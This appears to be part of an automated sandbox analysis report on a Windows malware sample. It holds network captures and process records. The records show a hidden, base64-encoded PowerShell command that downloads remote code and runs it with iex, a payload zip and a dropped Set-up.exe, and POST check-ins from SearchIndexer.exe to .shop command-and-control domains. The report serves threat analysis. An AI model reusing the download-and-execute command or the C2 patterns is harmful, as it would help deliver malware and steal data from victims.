2	192.168.2.8	49706	138.199.36.9	443	6724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-07 21:15:18 UTC	78	OUT	GET /peltgon.zip HTTP/1.1 Host: tengkis.b-cdn.net Connection: Keep-Alive
2024-09-07 21:15:18 UTC	631	IN	HTTP/1.1 200 OK Date: Sat, 07 Sep 2024 21:15:18 GMT Content-Type: application/zip Content-Length: 24154364 Connection: close Server: BunnyCDN-DE1-1049 CDN-PullZone: 2503916 CDN-Uid: 3657e97c-50fc-45cf-bdbc-979c3e873a54 CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 Last-Modified: Sat, 07 Sep 2024 07:52:38 GMT CDN-StorageServer: DE-676 CDN-FileServer: 861 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 09/07/2024 07:55:34 CDN-EdgeStorageId: 1076 CDN-Status: 200 CDN-RequestId: 07fbf5e0faeb8f4b0523c1b1a7323330 CDN-Cache: HIT Accept-Ranges: bytes
2024-09-07 21:15:18 UTC	15753	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 1b 5b 26 59 e7 be 28 a0 63 61 00 00 99 b1 00 00 04 00 00 00 66 66 6a 71 1c d5 45 b6 ea 08 00 04 d0 bb 35 24 b8 85 40 b0 a0 0f 0b c1 9d dd f7 e9 3f af 41 dd 49 95 43 e3 b4 43 d4 d4 1a a5 60 cb d0 23 ef e4 14 98 ed df 5c cd 54 3a 18 a0 09 b1 cf 06 68 eb 74 95 a7 d3 69 57 f2 03 27 4b 0a 3a 05 26 aa 97 fb 9b f3 85 47 c8 32 f5 d7 cd 9d 41 d7 b9 d6 7c 11 e9 91 77 69 38 8f 4b f7 da 94 44 2f 68 b7 40 8c 54 e3 0f 96 02 d8 87 40 0e a0 33 64 ca bd bb 9f fe 6e cc 07 14 30 68 67 80 fd 0d 70 b1 c4 f1 85 5b f7 76 5c a7 43 ab 95 f5 dd 1f 65 97 8e d3 05 0d 58 ec 98 6a ff cb ff 69 e9 43 3a 62 f9 e7 a9 d8 df eb 66 97 49 9a 13 d0 74 72 f1 39 e8 b5 d7 77 74 43 54 39 d2 00 24 d6 6e c1 a0 82 d7 9c 20 ab 1d 61 81 37 a9 47 59 e3 00 cf a7 e1 97 93 58 Data Ascii: PK[&Y(caffjqE5$@?AICC`#\T:htiW'K:&G2A\|wi8KD/h@T@3dn0hgp[v\CeXjiC:bfItr9wtCT9$n a7GYX
2024-09-07 21:15:18 UTC	23	IN	Data Raw: ca ef 51 d1 c4 36 57 3e b7 19 b8 e7 ea d4 d4 22 77 04 82 50 0d 49 d0 Data Ascii: Q6W>"wPI
2024-09-07 21:15:18 UTC	16384	IN	Data Raw: 89 b2 f1 e4 4b db 52 36 99 4c 62 3f 8d d2 19 05 ca 00 94 db 0b 99 51 f4 d9 cd 87 f5 08 4b 25 c8 eb 4b 65 62 97 fd e1 a0 14 a2 b8 f2 0b 9b 05 a7 90 8e 87 b2 f6 e0 8b 55 22 8e c1 82 46 dd e1 bc a5 18 3c 4e c7 34 6a 0f a4 92 af b1 26 44 96 33 07 8b 7f e6 57 b1 82 af cd 7b 7c cb 15 d2 c1 92 8e e0 3c e7 01 bc eb 72 43 50 fa cd fe 88 d5 d3 1f 8e 2a 94 9a 18 72 73 08 7f fb 08 be a0 7b 84 a1 da 82 96 43 60 5e 47 de 6b 22 ba 80 42 08 8c dd 9b c4 2a 5d 09 9d 13 e9 ac 61 0e 2e 93 64 56 f7 50 21 4d 97 bc 92 8a 30 23 31 46 fd f3 26 5e ed d9 1e 51 b7 8e e4 7c 72 dd 13 f4 20 c8 8e 32 68 24 48 57 78 e6 3c c1 2f 17 51 cf 25 f5 af 79 fc 26 f0 37 13 3e 10 f0 6e 39 36 8b f3 bd 36 71 f2 84 ed c7 0f 26 53 1a 77 4f 40 f7 b7 2c 9d 71 94 91 a4 a1 8c 34 5d 9e b4 5e b0 33 9d c3 60 Data Ascii: KR6Lb?QK%KebU"F<N4j&D3W{\|<rCPrs{C`^Gk"B]a.dVP!M0#1F&^Q\|r 2h$HWx</Q%y&7>n966q&SwO@,q4]^3`
2024-09-07 21:15:18 UTC	16384	IN	Data Raw: f6 9a 1e 55 37 c4 c0 56 33 98 62 27 e6 70 2a 7b 31 c1 d3 1d aa cf da fb b4 6a 22 42 81 ec 1c 26 99 5f a0 b6 5e 7c 1e 16 ef 04 78 8e 06 e3 3b f3 7b ef 33 7c 5b 4b 1a 29 49 12 15 6c e1 06 b5 1f 1d cd a3 85 1a 23 3f b7 d6 ca 8a 98 a3 71 27 97 bd ef 85 6e 7b b6 a7 c4 8a 35 06 74 c4 13 4f 33 c2 fb 2c 7b 81 5f 5d 09 aa a9 81 7e c3 7b 43 9c fa 55 36 c2 b8 bb 77 59 50 74 cd a0 51 9e 98 3a 51 54 07 af 3e 5a 6f 9c 6b 52 57 ea d5 53 e1 38 e4 3e 6a 59 55 9a 46 76 18 ef 9e 83 60 8d 40 00 12 f5 63 d1 f2 c4 96 86 fb 2f fd 62 99 45 4a d7 c2 cd f5 1c b5 bf 22 4a 08 ad 11 87 3a 58 52 4e 7b 87 d4 27 9e 32 d4 2f 3d e5 cb e2 ce ee 28 32 2a 7f f6 2a 36 0f 86 ea bc b8 00 cd 31 6c 3c cf 7d 36 a9 8f a2 9c ef c7 70 9c 1d a3 f5 17 b5 a2 60 bf 24 6b 05 0b 40 b8 e9 37 81 a7 9f cc 9a Data Ascii: U7V3b'p{1j"B&_^\|x;{3\|[K)Il#?q'n{5tO3,{_]~{CU6wYPtQ:QT>ZokRWS8>jYUFv`@c/bEJ"J:XRN{'2/=(2*61l<}6p`$k@7
2024-09-07 21:15:18 UTC	16384	IN	Data Raw: bc bd 57 bc 97 59 85 f5 27 6c c1 bc c1 36 c5 c0 a7 d2 1a aa 09 cc a0 ef f0 7b 26 60 59 1e 23 e9 80 96 fb d0 26 21 8d a3 61 0d 70 70 73 59 b5 eb 58 99 fe 61 74 c0 24 5b 04 61 d1 cf d0 f5 30 1e 49 3a dc a6 aa f0 13 7c 3b 9f b8 53 fd 98 18 f4 98 7d e3 28 f6 94 a5 60 a3 b8 1f 2a dc ca 26 a5 ee e5 38 ad 11 d7 f3 76 aa 63 1c 9b e5 65 10 63 ee 44 81 25 bc 1c 02 98 e0 82 b9 ab c4 6f 10 07 50 3f 6a d9 d6 0b 3d fc 1a 78 52 83 d3 d7 5f 84 d9 21 0a 67 68 d1 e4 bb 38 66 a1 1f 5d 33 5d 17 d5 2c f9 ac 32 8e c6 93 63 2a 82 2c e2 73 df f0 ca 89 4c 95 4c c5 e8 8c be 27 51 a7 eb 4f 8e 4b 86 a2 34 8a 77 5a 85 2c 8c e2 4b 32 12 6d ab 74 69 da d5 eb 9c 66 3c ac 92 d6 7f d8 99 dc 06 4d c6 1e b8 27 5d e8 55 f1 9d a0 9d c1 06 c7 61 97 4d 15 76 97 f1 15 76 26 7c 45 9b f8 14 75 52 Data Ascii: WY'l6{&`Y#&!appsYXat$[a0I:\|;S}(`&8vcecD%oP?j=xR_!gh8f]3],2c,sLL'QOK4wZ,K2mtif<M']UaMvv&\|EuR
2024-09-07 21:15:19 UTC	16384	IN	Data Raw: ff 3b ea e2 38 ad 59 67 cc d0 5d 09 9d 2a 3c fd 40 57 18 ee 66 2c 4c c2 ab 28 3d b0 f8 83 1d 89 2d f4 4c 4a d3 e8 38 ad 0b 8a d5 68 94 84 ee a5 30 81 b9 e6 22 7e 9c 10 cb 18 65 77 12 52 2b 7b 56 4e c1 47 e2 5d 19 a5 ec 5c de b9 82 3e a6 1e e4 d6 da 2d 5a 37 0c e6 f1 65 01 4f 94 77 32 f0 72 8c f9 b2 4b ba c9 29 a3 60 e6 ca 4a ac 92 f7 99 82 27 56 18 18 f5 80 81 5e 2f 31 80 9e ab 30 ad 03 93 e2 0b 7a 87 90 8c 88 3a b9 79 ca 44 f1 f2 61 04 e8 5f 56 41 53 73 54 db 40 ff 5a 3e f9 1b a8 4d 44 10 89 7c 5d 8c 34 7d 6c 13 0f 3a 59 09 ab 29 9e c6 ea 39 7e 69 19 1c 9c 9c 3c b4 cd 35 b4 5b 5c 49 14 c5 72 a4 c3 1a 2f 61 8f fb 44 f0 61 50 cb 00 ae 45 7d c6 78 ef 92 ac f0 7e 19 0a 18 18 bd b5 4b 8c e1 00 42 b1 e7 1d 0b 19 80 eb 6e af 73 cc 64 e0 43 00 7f 26 7d 59 69 12 Data Ascii: ;8Yg]*<@Wf,L(=-LJ8h0"~ewR+{VNG]\>-Z7eOw2rK)`J'V^/10z:yDa_VASsT@Z>MD\|]4}l:Y)9~i<5[\Ir/aDaPE}x~KBnsdC&}Yi
2024-09-07 21:15:19 UTC	16384	IN	Data Raw: 81 0f 20 ba 50 c3 ae 30 cf e3 5a a6 9b 22 fa d4 f1 db 12 0d dd 68 6f bc e7 51 7c 6f 53 9d b0 90 f6 e0 6b 02 e3 33 7f e2 0f 45 51 33 ad e5 5b 33 ad 35 42 73 fc 33 bf eb 0f 45 76 c6 1f 8a 82 66 5a 53 84 c6 f9 33 7f 70 d9 67 fe f0 1f 8a 8c 66 9a 36 42 c3 be 13 a1 09 fb cc 6f fb 43 71 af 99 36 02 1e 33 1a a1 f9 fb 33 ff e5 1f 8a 28 f0 98 d8 66 da d7 08 cd c9 cf fc f7 e0 31 8d 7f 28 22 9a 69 9c 08 8d 39 78 cc 9a cf fc f2 3f 14 23 cd b4 7b e0 31 0f 22 34 df 7f e6 a7 fe a1 e8 03 8f f9 da 4c 8b 8d d0 cc f9 cc 7f 7e 64 90 df 79 45 f1 f9 23 ed 86 00 68 46 6f fc 69 a4 98 02 ba d7 b8 da 25 0a 45 2a 6d 74 10 cc c5 92 10 c2 27 45 a5 c7 7d 85 c6 f3 28 e8 c1 8f fa d7 62 49 45 61 a0 16 c1 d4 6c 77 31 3d a3 fd 20 73 ce 7a 24 39 ed 55 30 61 77 fb 6a 17 bd 3a 7e 5f 34 41 cf Data Ascii: P0Z"hoQ\|oSk3EQ3[35Bs3EvfZS3pgf6BoCq633(f1("i9x?#{1"4L~dyE#hFoi%E*mt'E}(bIEalw1= sz$9U0awj:~_4A
2024-09-07 21:15:19 UTC	16384	IN	Data Raw: 47 b9 a0 28 15 d9 cc 75 48 f4 40 08 a4 30 af cf 9f a8 f2 6f e6 d0 48 ae 89 37 63 5b c0 b2 0d ce 00 ec 6e 17 62 85 dc 1d 47 92 9a 13 57 d8 15 97 20 a2 82 65 48 39 1e 5d 13 28 2a 69 c7 34 cb b1 f2 f1 16 5b 79 7f 18 f4 bc 25 50 5c ac 43 8d 70 de 80 9b e1 50 cd 04 dc 84 b5 89 f0 45 9a 96 7f 91 11 b8 1f 6f 6d 80 43 5d 21 e7 42 9b 06 87 c0 0d 72 38 e2 f8 49 e7 8b 0d 2a ca 12 e8 57 87 25 17 db f6 4b cb 90 f6 8a e2 46 87 ab 36 ed 09 80 53 49 9a 82 7c 9b 0d 6b ec 44 ea 35 4f 80 17 bf 29 3c 70 97 21 61 ba ed a0 20 f0 7b 4e 2c 04 f4 d3 2f a9 dc bc 51 85 57 6e 20 21 5f 58 24 5d 66 c2 2e a6 9c 0c 38 4d 7f f1 48 7e 6e 49 c0 91 36 a7 7c a8 dd f1 33 19 5b 28 f0 66 40 81 07 a1 08 bc cb 29 21 7a 86 3c a4 56 99 34 cb 42 95 f5 bb f6 b5 39 bd 43 5a f7 5b b9 3e ab 60 47 72 0b Data Ascii: G(uH@0oH7c[nbGW eH9](i4[y%P\CpPEomC]!Br8IW%KF6SI\|kD5O)<p!a {N,/QWn !_X$]f.8MH~nI6\|3[(f@)!z<V4B9CZ[>`Gr
2024-09-07 21:15:19 UTC	16384	IN	Data Raw: e9 25 8b 6b 2f fe 84 8a 1c 4f 42 b9 0e 27 c3 f2 57 cd e0 7e 68 d1 b5 50 4f 5a 33 17 cc b1 a3 5c 2e 71 85 32 e2 2d 97 34 7f f3 83 f2 32 ce 41 3d 71 c8 92 4f 81 11 57 1d a6 f7 31 dc 4f f9 fc d1 44 fa e1 4f 81 1a 22 67 1f 06 3e d6 d0 7b 9f ce 45 1c 47 40 a6 24 d8 a7 cf 5e 93 23 fe eb 9a 8c 82 6b 32 e0 32 38 b9 cc e6 ef 82 7d fc 4b 5b 04 ce 34 c2 2d dc 9e 65 79 0f f0 b0 84 f9 af e5 9f 2b c3 90 47 35 1c af 4c 44 69 06 9b fe 57 bd 83 47 a3 ff 9b 1b 0c ed f8 ef 3a 07 59 c7 b6 9e 65 77 e4 15 35 49 7f 14 09 cc 28 87 d8 34 63 f8 0b 7d 59 98 e6 52 c2 8e 91 5d 80 e9 04 7d 73 ce a0 77 72 ec 69 9d e4 57 cf e4 1f 74 12 ed 34 f0 bb e6 a3 b6 af f1 a8 b1 18 70 ca ee 90 11 67 05 8c 42 3e c2 fe 76 4c 18 4a 07 19 8a a0 6e 97 d0 e4 f0 a9 62 09 60 80 b4 25 84 58 6f 05 e7 bd 7f Data Ascii: %k/OB'W~hPOZ3\.q2-42A=qOW1ODO"g>{EG@$^#k228}K[4-ey+G5LDiWG:Yew5I(4c}YR]}swriWt4pgB>vLJnb`%Xo
2024-09-07 21:15:19 UTC	16384	IN	Data Raw: 73 cf 27 3e ec fe c9 f8 42 a5 21 7f f8 d4 dd 69 ef 48 2e 0b a9 72 2e 25 41 e3 93 2d a7 0c fe 37 d5 39 40 6f 90 69 60 5c b8 0a 3b 39 9e ce 96 b1 f4 26 79 66 85 dc ff 50 f1 07 a8 9f 5c 15 37 76 98 75 43 e5 bc f9 a0 e7 02 19 8f 7b 29 8f ba 9d 16 dd 73 cc 01 bb 22 3d de 0d 17 74 88 a6 27 61 3d b9 3b 34 27 2c e0 29 aa 7e ac 53 96 25 d2 f5 22 20 eb 2c 9f 7c 23 6b fc fa c6 98 98 9f c1 cd 12 76 13 57 8d 87 b1 51 98 e5 3a be 19 6d a3 dc a9 c1 2a 0a 3e 60 14 62 be 94 2e 2e dd 43 19 1e f4 55 ed 23 5e 52 6c b7 3f f9 fe 62 af bc 29 92 4b b7 28 64 cd 1f 37 56 d2 97 03 cd dc 42 4c 3e 4c 2d 0c 7e cb 70 ea be b8 9d a2 13 b5 39 f1 2a 34 30 6a 50 fa a0 2b 29 03 8a a6 68 57 ff b3 4b ea 47 2e 62 b0 5a 06 32 ac 58 d4 19 44 ec 2a 82 f9 50 5e 13 e8 c4 8d 2d c2 68 2d fd 12 23 65 Data Ascii: s'>B!iH.r.%A-79@oi`\;9&yfP\7vuC{)s"=t'a=;4',)~S%" ,\|#kvWQ:m>`b..CU#^Rl?b)K(d7VBL>L-~p940jP+)hWKG.bZ2XD*P^-h-#e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	172.67.200.243	443	7156	C:\Windows\SysWOW64\SearchIndexer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-07 21:16:22 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bassicnuadnwi.shop
2024-09-07 21:16:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-07 21:16:23 UTC	804	IN	HTTP/1.1 200 OK Date: Sat, 07 Sep 2024 21:16:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q87b5bn67skr0a9dumvcbhsh66; expires=Wed, 01 Jan 2025 15:03:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DxzZ2zo97R%2Bh2ot71oRXBnNs32efTFlfdNSAVPUZ4fWtsb1uNn5wG9DlEfcXgWaiQFB7%2FFX8v6VCHJ9zppFC7LIFs0CWKWhHGUYoJ3wXeEyM%2Fw52pu47g2wu1%2F53582XmWdr6y4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bf9b833cec64294-EWR alt-svc: h3=":443"; ma=86400
2024-09-07 21:16:23 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-07 21:16:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49714	172.67.146.35	443	7156	C:\Windows\SysWOW64\SearchIndexer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-07 21:16:23 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: condedqpwqm.shop
2024-09-07 21:16:23 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-07 21:16:24 UTC	549	IN	HTTP/1.1 200 OK Date: Sat, 07 Sep 2024 21:16:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s%2FEcRQ91rbxtAxVI0vyE5G2l16KBIbHGlR2lDr5gN23ECJiv5K7%2BeUXJ3PF3JVuflysaLmOOWN9ZBwYNMVNQvAx7wErcc%2F%2Fq19X9QpkbTVLSMrkOqiUtG180u1fcbJQ0Pz%2Fd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bf9b83a0e4d4411-EWR
2024-09-07 21:16:24 UTC	820	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-07 21:16:24 UTC	1369	IN	Data Raw: 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 Data Ascii: .errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie
2024-09-07 21:16:24 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 36 55 69 32 6d 2e 72 4c 4f 65 71 74 41 4a 79 68 77 49 53 45 5f 69 59 66 61 50 67 5a 58 44 64 46 4d 70 65 47 51 70 44 44 58 31 34 2d 31 37 32 35 37 34 33 37 38 34 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c Data Ascii: <input type="hidden" name="atok" value="6Ui2m.rLOeqtAJyhwISE_iYfaPgZXDdFMpeGQpDDX14-1725743784-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" styl
2024-09-07 21:16:24 UTC	847	IN	Data Raw: 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c Data Ascii: hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a><
2024-09-07 21:16:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49715	172.67.146.35	443	7156	C:\Windows\SysWOW64\SearchIndexer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-07 21:16:24 UTC	353	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=6Ui2m.rLOeqtAJyhwISE_iYfaPgZXDdFMpeGQpDDX14-1725743784-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: condedqpwqm.shop
2024-09-07 21:16:24 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4d 65 48 64 79 34 2d 2d 70 6c 38 76 72 73 31 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=MeHdy4--pl8vrs1&j=
2024-09-07 21:16:25 UTC	802	IN	HTTP/1.1 200 OK Date: Sat, 07 Sep 2024 21:16:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b3mh0s3ds543grkr0iadv3kskj; expires=Wed, 01 Jan 2025 15:03:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fu7dKuiu7XJS%2B%2FGI0DZ5u827fZpogLlNhEXZR7NAd2oj33K0HoBsVEdgDUaWuPTLS%2FCnnb%2BwpwDJ%2Bld1CUghN0QAWElBc5GUNXMQq9KeMTI2%2Bq5y5FjsjHM5z7d2Rh0wEq9v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bf9b83eb84d422d-EWR alt-svc: h3=":443"; ma=86400
2024-09-07 21:16:25 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-07 21:16:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:15:10
Start date:	07/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\ofsetvideofre.click.ps1"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:15:10
Start date:	07/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:15:11
Start date:	07/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -eC cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBjACAAIgBpAGUAeAAgACgAaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AaQBwAGwAbwBnAGcAZQByAC4AYwBvAC8AMgBoADQAQwBnADUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACIA
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:15:12
Start date:	07/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W Hidden -c "iex (iwr https://iplogger.co/2h4Cg5 -UseBasicParsing).Content"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:15:48
Start date:	07/09/2024
Path:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\file\Set-up.exe"
Imagebase:	0x400000
File size:	1'909'504 bytes
MD5 hash:	098AC4621EE0E855E0710710736C2955
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
